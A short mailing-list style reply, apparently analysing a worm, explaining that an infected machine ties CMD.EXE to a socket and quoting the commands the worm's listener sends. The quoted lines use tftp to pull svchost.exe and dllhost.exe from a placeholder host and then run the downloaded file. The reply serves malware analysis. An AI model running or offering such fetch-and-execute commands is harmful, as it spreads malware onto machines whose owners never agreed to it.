Mhh, I wouldn't call it a backdoor. 

The client to infect opens the connection with the stdin/-out of CMD.EXE
connected to the socket. Once the connection is established the listener
is waiting for the prompt printed by CMD.EXE and starts giving commands.
These commands look like following:

dir wins\dllhost.exe
dir dllcache\tftpd.exe
tftp -i x.x.x.x get svchost.exe wins\SVCHOST.EXE
tftp -i x.x.x.x get dllhost.exe wins\DLLHOST.EXE
wins\DLLHOST.EXE

If you want to use this socket connection as backdoor to the server, you
have to find an buffer overflow or similiar in the worm code.

Michael
